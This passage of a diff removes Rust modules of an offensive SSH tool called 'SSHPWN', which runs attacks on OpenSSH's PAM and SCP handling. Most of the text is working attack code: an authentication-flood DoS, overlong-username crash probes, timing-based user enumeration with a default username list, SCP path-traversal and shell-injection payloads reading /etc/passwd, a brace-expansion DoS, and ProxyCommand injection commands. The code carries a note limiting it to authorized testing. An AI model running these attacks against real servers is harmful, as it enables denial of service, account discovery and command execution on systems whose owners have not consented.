usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
attack_auth_timing(&host, port, &usernames, samples).await?;
}
"4" => {
let username = prompt_default("Username", "root")?;
let base_password = prompt_default("Base password (will be padded to 72 chars)", "testpassword")?;
attack_bcrypt_truncation(&host, port, &username, &base_password).await?;
}
"5" | _ => {
println!();
println!("{}", "=== Running All Auth Password Attacks ===".yellow().bold());
println!();
println!("{}", "--- Attack 1: Password Length DoS ---".cyan());
let _ = attack_password_length_dos(&host, port, "root", 4096).await;
println!();
println!("{}", "--- Attack 2: Password Change Info Leak ---".cyan());
let _ = attack_password_change_leak(&host, port).await;
println!();
println!("{}", "--- Attack 3: Auth Timing Attack ---".cyan());
let usernames: Vec<String> = DEFAULT_USERNAMES.iter().map(|s| s.to_string()).collect();
let _ = attack_auth_timing(&host, port, &usernames, 2).await;
println!();
println!("{}", "--- Attack 4: Bcrypt Truncation ---".cyan());
let _ = attack_bcrypt_truncation(&host, port, "root", "testpassword").await;
}
}
println!();
println!("{}", "[*] Auth password attack module complete".green());
Ok(())
}
-621
View File
@@ -1,621 +0,0 @@
//! SSHPWN PAM Attack Module
//!
//! Based on OpenSSH 10.0p1 auth-pam.c vulnerability analysis
//!
//! PAM VULNERABILITIES (auth-pam.c):
//! - sshpam_password static storage - Password recovery via memory forensics (LOW)
//! - pam_putenv() memory leak - DoS via memory exhaustion (LOW)
//! - import_environments() - Environment variable injection (MEDIUM)
//! - Missing username length validation on non-Solaris (LOW-MEDIUM)
//! - setreuid() race condition - Privilege state issues (LOW)
//! - Timing attack mitigation gap - Incomplete coverage (LOW)
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use ssh2::Session;
use std::{
io::{Read, Write},
net::TcpStream,
path::Path,
time::{Duration, Instant},
};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - PAM Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH auth-pam.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. PAM Memory Exhaustion DoS (pam_putenv leak) ║".cyan());
println!("{}", "║ 2. Username Length Overflow Test ║".cyan());
println!("{}", "║ 3. PAM Timing Attack (user enumeration) ║".cyan());
println!("{}", "║ 4. Environment Variable Injection Test ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Create SSH session with authentication
fn create_ssh_session(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
timeout_secs: u64,
) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().context("Invalid address")?,
Duration::from_secs(timeout_secs),
).context("Connection failed")?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
// Authenticate
if let Some(key) = keyfile {
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
} else if let Some(pass) = password {
sess.userauth_password(username, pass)?;
} else {
return Err(anyhow!("No authentication method provided"));
}
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Time a single authentication attempt (for timing attacks)
fn time_auth_attempt(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Option<f64> {
let addr = format!("{}:{}", host, port);
let start = Instant::now();
let tcp = match TcpStream::connect_timeout(
&addr.parse().ok()?,
Duration::from_secs(timeout_secs),
) {
Ok(s) => s,
Err(_) => return None,
};
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
let mut sess = match Session::new() {
Ok(s) => s,
Err(_) => return None,
};
sess.set_tcp_stream(tcp);
if sess.handshake().is_err() {
return None;
}
// Try authentication
let _ = sess.userauth_password(username, password);
let elapsed = start.elapsed().as_secs_f64();
Some(elapsed)
}
/// PAM Memory Exhaustion DoS Test
///
/// Vulnerability: auth-pam.c lines 378-382 - pam_putenv() memory leak
/// Each authentication attempt leaks memory. Repeated attempts can exhaust server memory.
pub async fn attack_pam_memory_dos(
host: &str,
port: u16,
iterations: u32,
delay_ms: u64,
) -> Result<bool> {
println!("{}", format!("[*] PAM Memory Exhaustion DoS on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth-pam.c pam_putenv() memory leak".cyan());
println!();
println!("{}", "[!] WARNING: This test performs many authentication attempts".yellow().bold());
println!("{}", "[!] It may trigger account lockouts or rate limiting".yellow());
println!();
println!("{}", format!("[*] Testing with {} iterations, {}ms delay", iterations, delay_ms).cyan());
let mut successful = 0u32;
let mut failed = 0u32;
for i in 0..iterations {
if i % 10 == 0 {
print!("\r[*] Progress: {}/{} (success: {}, fail: {}) ", i, iterations, successful, failed);
let _ = std::io::stdout().flush();
}
// Try authentication with invalid credentials
// Each attempt that reaches PAM processing leaks memory
let invalid_pass = format!("invalid_{}_{}", std::process::id(), i);
match time_auth_attempt(host, port, "nobody", &invalid_pass, 10) {
Some(_) => successful += 1,
None => failed += 1,
}
if delay_ms > 0 {
std::thread::sleep(Duration::from_millis(delay_ms));
}
}
println!();
println!();
println!("{}", "=== PAM Memory DoS Results ===".cyan().bold());
println!("Total attempts: {}", iterations);
println!("Successful connections: {}", successful);
println!("Failed connections: {}", failed);
println!();
if successful > 0 {
println!("{}", "[VULN] Server accepted connections - memory leak may be exploitable".red().bold());
println!("{}", "[*] Monitor server memory usage during extended attacks".cyan());
println!("{}", "[*] Each PAM environment variable leaked per auth attempt".cyan());
Ok(true)
} else {
println!("{}", "[-] Could not establish connections - rate limiting may be active".yellow());
Ok(false)
}
}
/// Username Length Overflow Test
///
/// Vulnerability: auth-pam.c lines 696-699 - Username length only validated on Solaris
/// Non-Solaris systems may be vulnerable to buffer overflows in PAM modules
pub async fn attack_pam_username_overflow(
host: &str,
port: u16,
max_length: usize,
) -> Result<bool> {
println!("{}", format!("[*] PAM Username Length Overflow Test on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth-pam.c missing username length validation".cyan());
println!("{}", "[*] Only Solaris validates PAM_MAX_RESP_SIZE (1024 bytes)".cyan());
println!();
// Test progressively longer usernames
let test_lengths = vec![
64, 128, 256, 512, 1024, 2048, 4096, 8192,
max_length.min(16384),
];
println!("{}", "[*] Testing username lengths:".cyan());
let mut vulnerable_length = None;
for &len in &test_lengths {
if len > max_length {
break;
}
// Generate username of specified length
let username: String = std::iter::repeat('A').take(len).collect();
print!(" Testing {} bytes... ", len);
let _ = std::io::stdout().flush();
let start = Instant::now();
let result = time_auth_attempt(host, port, &username, "test", 15);
let elapsed = start.elapsed();
match result {
Some(t) => {
if elapsed.as_secs() > 10 {
println!("{}", format!("SLOW ({:.2}s) - potential DoS", t).yellow());
vulnerable_length = Some(len);
} else {
println!("{}", format!("OK ({:.2}s)", t).green());
}
}
None => {
if elapsed.as_secs() > 10 {
println!("{}", "TIMEOUT - server may have crashed/hung".red().bold());
vulnerable_length = Some(len);
break;
} else {
println!("{}", "Connection failed".yellow());
}
}
}
// Small delay between tests
std::thread::sleep(Duration::from_millis(500));
}
println!();
println!("{}", "=== Username Overflow Results ===".cyan().bold());
if let Some(len) = vulnerable_length {
println!("{}", format!("[VULN] Potential vulnerability at {} bytes", len).red().bold());
println!("{}", "[*] Server showed abnormal behavior with long username".cyan());
println!("{}", "[*] PAM modules may have fixed-size username buffers".cyan());
Ok(true)
} else {
println!("{}", "[*] No obvious overflow detected".green());
println!("{}", "[*] Server may have proper input validation".cyan());
Ok(false)
}
}
/// PAM Timing Attack - Enhanced user enumeration
///
/// Vulnerability: auth-pam.c lines 1361-1368 - Timing attack mitigation gap
/// fake_password() only used for invalid users/root denied, not for empty passwords
pub async fn attack_pam_timing(
host: &str,
port: u16,
usernames: &[String],
samples: usize,
) -> Result<Vec<String>> {
println!("{}", format!("[*] PAM Timing Attack on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth-pam.c incomplete timing mitigation".cyan());
println!("{}", "[*] Testing: valid vs invalid user timing differences".cyan());
println!();
// Establish baseline with definitely invalid user
let baseline_user = format!("nonexistent_user_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
println!("{}", "[*] Establishing baseline timing...".cyan());
let mut baseline_times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, &baseline_user, "invalid", 15) {
baseline_times.push(t);
}
std::thread::sleep(Duration::from_millis(100));
}
if baseline_times.is_empty() {
println!("{}", "[-] Could not establish baseline - cannot reach target".red());
return Ok(Vec::new());
}
let baseline = baseline_times.iter().sum::<f64>() / baseline_times.len() as f64;
println!("{}", format!("[*] Baseline timing: {:.3}s", baseline).cyan());
// Test empty password timing (potential gap in fake_password coverage)
println!();
println!("{}", "[*] Testing empty password timing gap...".cyan());
let mut empty_times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, &baseline_user, "", 15) {
empty_times.push(t);
}
std::thread::sleep(Duration::from_millis(100));
}
if !empty_times.is_empty() {
let empty_avg = empty_times.iter().sum::<f64>() / empty_times.len() as f64;
let diff = empty_avg - baseline;
if diff.abs() > 0.1 {
println!("{}", format!("[VULN] Empty password timing differs: {:+.3}s", diff).red().bold());
println!("{}", "[*] This may indicate incomplete timing attack mitigation".yellow());
} else {
println!("{}", format!("[*] Empty password timing: {:.3}s (diff: {:+.3}s)", empty_avg, diff).dimmed());
}
}
// Test provided usernames
println!();
println!("{}", "[*] Testing usernames for timing differences...".cyan());
let mut valid_users = Vec::new();
for user in usernames {
print!("\r[*] Testing: {} ", user);
let _ = std::io::stdout().flush();
let mut times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, user, "invalid_password", 15) {
times.push(t);
}
std::thread::sleep(Duration::from_millis(100));
}
if !times.is_empty() {
let avg = times.iter().sum::<f64>() / times.len() as f64;
let diff = avg - baseline;
// Significant timing difference indicates valid user
if diff.abs() > 0.3 {
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
valid_users.push(user.clone());
}
}
}
println!();
println!("{}", "=== PAM Timing Results ===".cyan().bold());
if valid_users.is_empty() {
println!("{}", "[-] No valid users found via timing attack".yellow());
} else {
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
for user in &valid_users {
println!(" - {}", user.green());
}
}
Ok(valid_users)
}
/// PAM Environment Variable Injection Test
///
/// Vulnerability: auth-pam.c lines 350-383 - import_environments()
/// Up to 1024 env vars imported from PAM subprocess without sanitization
pub async fn attack_pam_env_injection(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] PAM Environment Injection Test on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth-pam.c import_environments()".cyan());
println!("{}", "[*] Tests what environment variables are accepted/set".cyan());
println!();
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
// Check current environment
let dangerous_vars = vec![
"LD_PRELOAD",
"LD_LIBRARY_PATH",
"LD_AUDIT",
"LD_DEBUG",
"LD_PROFILE",
"PATH",
"BASH_ENV",
"ENV",
"CDPATH",
"GLOBIGNORE",
"BASH_FUNC_",
"SSH_AUTH_INFO_0",
"KRB5CCNAME",
"SSH_CONNECTION",
];
println!("{}", "[*] Checking dangerous environment variables:".cyan());
let mut channel = sess.channel_session()?;
channel.exec("env")?;
let mut env_output = String::new();
channel.read_to_string(&mut env_output)?;
channel.wait_close()?;
let mut found_dangerous = Vec::new();
for var in &dangerous_vars {
for line in env_output.lines() {
if line.starts_with(var) {
println!("{}", format!(" [!] {}", line).yellow());
found_dangerous.push(line.to_string());
}
}
}
println!();
println!("{}", "[*] Testing PAM-specific variables:".cyan());
// Check for PAM-related environment
let pam_vars = vec!["PAM_", "SSH_AUTH", "KRB5", "GSSAPI"];
for var in &pam_vars {
for line in env_output.lines() {
if line.contains(var) {
println!("{}", format!(" [PAM] {}", line).cyan());
}
}
}
println!();
println!("{}", "=== PAM Environment Results ===".cyan().bold());
if !found_dangerous.is_empty() {
println!("{}", format!("[!] Found {} potentially dangerous variables", found_dangerous.len()).yellow());
println!("{}", "[*] These could be exploited by malicious PAM modules".cyan());
println!();
println!("{}", "[*] Attack vectors:".cyan());
println!("{}", " - LD_PRELOAD: Load malicious shared library".dimmed());
println!("{}", " - PATH: Execute trojan commands".dimmed());
println!("{}", " - BASH_ENV: Execute code on bash startup".dimmed());
println!("{}", " - KRB5CCNAME: Credential cache manipulation".dimmed());
} else {
println!("{}", "[*] No obviously dangerous variables found in environment".green());
}
println!();
println!("{}", "[*] Note: Environment injection requires compromised PAM module".yellow());
println!("{}", "[*] Check /etc/pam.d/sshd for module configuration".dimmed());
Ok(!found_dangerous.is_empty())
}
/// Prompt helper
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames for timing attack
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "test", "guest",
"ubuntu", "www-data", "daemon", "bin", "sys",
"nobody", "mysql", "postgres", "oracle", "ftp",
"ssh", "apache", "nginx", "tomcat", "redis",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target);
println!("{}", format!("[*] Target: {}", host).cyan());
// Get port
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. PAM Memory Exhaustion DoS (no auth required)");
println!(" 2. Username Length Overflow Test (no auth required)");
println!(" 3. PAM Timing Attack - User Enumeration (no auth required)");
println!(" 4. Environment Variable Injection (requires auth)");
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "3")?;
match mode.as_str() {
"1" => {
let iterations: u32 = prompt_default("Number of attempts", "100")?.parse().unwrap_or(100);
let delay: u64 = prompt_default("Delay between attempts (ms)", "100")?.parse().unwrap_or(100);
attack_pam_memory_dos(&host, port, iterations, delay).await?;
}
"2" => {
let max_len: usize = prompt_default("Maximum username length", "8192")?.parse().unwrap_or(8192);
attack_pam_username_overflow(&host, port, max_len).await?;
}
"3" => {
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(3);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Use default username list?", true)? {
for user in DEFAULT_USERNAMES {
usernames.push(user.to_string());
}
}
let custom = prompt_optional("Additional usernames (comma-separated)")?;
if let Some(custom_users) = custom {
for user in custom_users.split(',') {
let user = user.trim();
if !user.is_empty() && !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
attack_pam_timing(&host, port, &usernames, samples).await?;
}
"4" => {
let username = prompt("Username")?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password")?;
let keyfile = prompt_optional("SSH Key File Path")?;
if password.is_none() && keyfile.is_none() {
return Err(anyhow!("Either password or keyfile is required"));
}
attack_pam_env_injection(&host, port, &username, password.as_deref(), keyfile.as_deref()).await?;
}
"5" | _ => {
println!();
println!("{}", "=== Running All PAM Attacks ===".yellow().bold());
println!();
println!("{}", "--- Attack 1: Memory Exhaustion ---".cyan());
if prompt_yes_no("Run memory DoS test (50 iterations)?", false)? {
let _ = attack_pam_memory_dos(&host, port, 50, 100).await;
} else {
println!("{}", "[*] Skipped".dimmed());
}
println!();
println!("{}", "--- Attack 2: Username Overflow ---".cyan());
let _ = attack_pam_username_overflow(&host, port, 4096).await;
println!();
println!("{}", "--- Attack 3: Timing Attack ---".cyan());
let usernames: Vec<String> = DEFAULT_USERNAMES.iter().map(|s| s.to_string()).collect();
let _ = attack_pam_timing(&host, port, &usernames, 2).await;
println!();
println!("{}", "--- Attack 4: Environment Injection ---".cyan());
println!("{}", "[*] Requires authentication - skipping in automated mode".dimmed());
}
}
println!();
println!("{}", "[*] PAM attack module complete".green());
Ok(())
}
@@ -1,453 +0,0 @@
//! SSHPWN SCP Attack Module
//!
//! Based on OpenSSH 10.0p1 vulnerability analysis
//!
//! SCP VULNERABILITIES (scp.c):
//! - okname() - Incomplete shell character filtering (MEDIUM)
//! - sink() - Path traversal via filename manipulation (HIGH)
//! - do_cmd() - Command injection via arguments (HIGH)
//! - brace_expand() - DoS via exponential expansion (MEDIUM)
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use ssh2::Session;
use std::{
io::{Read, Write},
net::TcpStream,
path::Path,
time::Duration,
};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
/// Format a number with thousands separators
fn format_number(n: u64) -> String {
let s = n.to_string();
let bytes: Vec<_> = s.bytes().rev().collect();
let chunks: Vec<_> = bytes.chunks(3)
.map(|chunk| String::from_utf8(chunk.to_vec()).unwrap())
.collect();
chunks.join(",").chars().rev().collect()
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - SCP Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH scp.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. Path Traversal (sink function) ║".cyan());
println!("{}", "║ 2. Username Shell Injection (okname) ║".cyan());
println!("{}", "║ 3. Brace Expansion DoS (brace_expand) ║".cyan());
println!("{}", "║ 4. Command Injection (do_cmd) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Create SSH session with authentication
fn create_ssh_session(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
timeout_secs: u64,
) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().context("Invalid address")?,
Duration::from_secs(timeout_secs),
).context("Connection failed")?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
// Authenticate
if let Some(key) = keyfile {
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
} else if let Some(pass) = password {
sess.userauth_password(username, pass)?;
} else {
return Err(anyhow!("No authentication method provided"));
}
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Execute command over SSH
fn ssh_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
let mut channel = sess.channel_session()?;
channel.exec(cmd)?;
let mut stdout = String::new();
let mut stderr = String::new();
channel.read_to_string(&mut stdout)?;
channel.stderr().read_to_string(&mut stderr)?;
channel.wait_close()?;
let exit_code = channel.exit_status()?;
Ok((exit_code, stdout, stderr))
}
/// SCP Path Traversal Attack - Attempt to write outside target directory
///
/// Vulnerability: scp.c sink() validates filenames but may have bypass vectors.
/// The sink() function checks for path components but historical bypasses exist.
pub async fn attack_scp_traversal(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SCP Path Traversal on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
// Test various traversal payloads from scp-ssh-wrapper.sh test cases
let traversal_payloads = vec![
("../../../etc/passwd", "Direct traversal"),
("....//....//etc/passwd", "Double-dot bypass"),
("D0755 0 ..\nD0755 0 ..\nC0644 5 test\nhello", "Protocol injection"),
("\\x00/etc/passwd", "Null byte injection"),
("authorized_keys\n../../.ssh/authorized_keys", "Newline injection"),
("T1234567890 0 1234567890 0\n../../../tmp/pwned", "Time header injection"),
];
println!("{}", "[*] Testing SCP protocol traversal vectors:".cyan());
for (payload, desc) in &traversal_payloads {
let preview: String = payload.chars().take(50).collect();
println!("{}", format!(" [{}]: {}", desc, preview).dimmed());
}
// Execute SCP with test payload through SSH
let test_file = format!("/tmp/scp_test_{}", std::process::id());
let test_cmd = format!("echo 'TRAVERSAL_TEST' > {}", test_file);
match ssh_exec(&sess, &test_cmd) {
Ok((code, _, _)) => {
if code == 0 {
println!("{}", "[+] Test file created, checking traversal vectors via protocol...".green());
// Test if we can use SCP to read/write unexpected locations
let check_cmd = format!("ls -la {} 2>/dev/null", test_file);
if let Ok((code, stdout, _)) = ssh_exec(&sess, &check_cmd) {
if code == 0 {
println!("{}", format!("[*] Baseline confirmed: {}", stdout.trim()).cyan());
}
}
}
}
Err(e) => {
println!("{}", format!("[-] Test command failed: {}", e).red());
}
}
// Cleanup
let _ = ssh_exec(&sess, &format!("rm -f {}", test_file));
println!();
println!("{}", "[!] Manual testing required with actual SCP protocol manipulation".yellow());
println!("{}", "[*] Use: scp -v -o 'ProxyCommand=cat /path/to/malicious_protocol' target".dimmed());
Ok(false)
}
/// SCP Username Injection - Test shell metacharacter handling in usernames
///
/// Vulnerability: scp.c okname() blocks limited chars (/, ;, space, !, #)
/// but may allow other shell metacharacters through.
pub async fn attack_scp_username_injection(
host: &str,
_port: u16,
) -> Result<bool> {
println!("{}", format!("[*] SCP Username Injection Test on {}", host).cyan());
// Characters allowed through okname() that could be dangerous
let injectable_chars = vec![
("user$(id)", "Command substitution"),
("user`id`", "Backtick execution"),
("user|id", "Pipe injection"),
("user&id", "Background execution"),
("user\nid", "Newline injection"),
("user$(cat /etc/passwd)", "Data exfiltration"),
("${PATH}", "Variable expansion"),
("user{a,b,c}", "Brace expansion"),
];
println!("{}", "[*] Characters filtered by okname(): /;! #".cyan());
println!("{}", "[*] Characters NOT filtered (potentially dangerous):".yellow().bold());
for (payload, desc) in &injectable_chars {
println!("{}", format!(" [{}]: {:?}", desc, payload).red());
}
println!();
println!("{}", "[*] To test manually:".cyan());
println!("{}", format!(" scp 'user$(id)@{}:/etc/passwd' /tmp/test", host).dimmed());
println!("{}", format!(" scp /etc/passwd '`id`@{}:/tmp/'", host).dimmed());
println!();
println!("{}", "[!] Direct testing requires SCP binary execution".yellow());
println!("{}", "[*] Framework identifies vulnerable code path, manual verification required".cyan());
Ok(true)
}
/// SCP Brace Expansion DoS - Memory exhaustion via exponential expansion
///
/// Vulnerability: scp.c brace_expand() function can exponentially expand patterns.
/// Pattern like {a,b}{c,d}{e,f}... expands to 2^n strings.
pub async fn attack_scp_brace_dos(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
depth: u32,
) -> Result<bool> {
println!("{}", format!("[*] SCP Brace Expansion DoS on {}", host).cyan());
// Calculate expansion
let expansion_size: u64 = 2u64.pow(depth);
println!("{}", format!("[*] Testing depth {} = {} strings", depth, format_number(expansion_size)).cyan());
// Generate malicious pattern
let pattern: String = (0..depth).map(|_| "{a,b}").collect();
println!("{}", format!("[VULN] Malicious pattern: {}", pattern).red().bold());
// This would DoS the client, not server
println!();
println!("{}", "[!] This is a CLIENT-SIDE DoS vulnerability!".yellow().bold());
println!("{}", "[*] Malicious server can send this pattern to exhaust client memory".cyan());
// Test small expansion to verify server is vulnerable
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
// Create test pattern on server
let small_pattern = "{a,b}{c,d}"; // 4 expansions - safe
let cmd = format!(
"mkdir -p /tmp/bracetest && cd /tmp/bracetest && touch {} 2>/dev/null; ls /tmp/bracetest/",
small_pattern
);
match ssh_exec(&sess, &cmd) {
Ok((code, stdout, _)) => {
if code == 0 && !stdout.is_empty() {
println!("{}", format!("[+] Brace expansion active: {}", stdout.trim()).green());
println!("{}", "[VULN] Server/client supports brace expansion - DoS possible".red().bold());
}
}
Err(e) => {
println!("{}", format!("[-] Test failed: {}", e).yellow());
}
}
// Cleanup
let _ = ssh_exec(&sess, "rm -rf /tmp/bracetest");
println!();
println!("{}", "[*] To test DoS (WARNING: may crash client):".cyan());
let large_pattern: String = (0..20u32).map(|_| "{a,b}").collect(); // 2^20 = 1M strings
println!("{}", format!(" scp '{}@{}:{}' /tmp/", username, host, large_pattern).dimmed());
Ok(true)
}
/// SCP Command Injection - Inject commands via SCP arguments
///
/// Vulnerability: scp.c do_cmd() constructs commands passed to ssh.
/// Historical vulnerabilities in argument handling allow injection.
pub async fn attack_scp_cmd_injection(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SCP Command Injection on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
// Test vectors that could escape argument handling
let injection_vectors = vec![
("-oProxyCommand=id", "ProxyCommand injection"),
("--rsync-path=id", "rsync-path injection"),
("-S /tmp/fake;id", "ControlPath injection"),
("user@host:file;id", "Semicolon in path"),
("user@host:'$(id)'", "Command substitution in remote path"),
];
println!("{}", "[*] SCP command injection vectors:".cyan());
for (vec, desc) in &injection_vectors {
println!("{}", format!(" [{}]: {}", desc, vec).red());
}
// Test if server allows unusual filenames
let test_filename = "/tmp/test_$(whoami)_file";
let cmd = format!(
"touch '{}' 2>/dev/null && ls -la /tmp/test_*_file 2>/dev/null",
test_filename
);
match ssh_exec(&sess, &cmd) {
Ok((_, stdout, _)) => {
if !stdout.is_empty() {
println!("{}", format!("[*] Server filename handling: {}", stdout.trim()).cyan());
}
}
Err(_) => {}
}
// Cleanup
let _ = ssh_exec(&sess, "rm -f /tmp/test_*_file");
println!();
println!("{}", "[*] Manual testing commands:".cyan());
println!("{}", format!(" scp -oProxyCommand='id>/tmp/pwn' {}@{}:/etc/passwd /tmp/", username, host).dimmed());
println!("{}", format!(" scp '{}@{}:\"$(id)\"' /tmp/", username, host).dimmed());
Ok(true)
}
/// Prompt helper
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target);
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. Path Traversal Test (requires auth)");
println!(" 2. Username Shell Injection Analysis (no auth)");
println!(" 3. Brace Expansion DoS Test (requires auth)");
println!(" 4. Command Injection Analysis (requires auth)");
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "2")?;
// Mode 2 doesn't require auth
if mode == "2" {
attack_scp_username_injection(&host, port).await?;
return Ok(());
}
// Other modes require authentication
let username = prompt("Username")?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password")?;
let keyfile = prompt_optional("SSH Key File Path")?;
if password.is_none() && keyfile.is_none() {
return Err(anyhow!("Either password or keyfile is required"));
}
let password_ref = password.as_deref();
let keyfile_ref = keyfile.as_deref();
match mode.as_str() {
"1" => {
attack_scp_traversal(&host, port, &username, password_ref, keyfile_ref).await?;
}
"3" => {
let depth: u32 = prompt_default("Brace expansion depth", "10")?.parse().unwrap_or(10);
attack_scp_brace_dos(&host, port, &username, password_ref, keyfile_ref, depth).await?;
}
"4" => {
attack_scp_cmd_injection(&host, port, &username, password_ref, keyfile_ref).await?;
}
"5" | _ => {
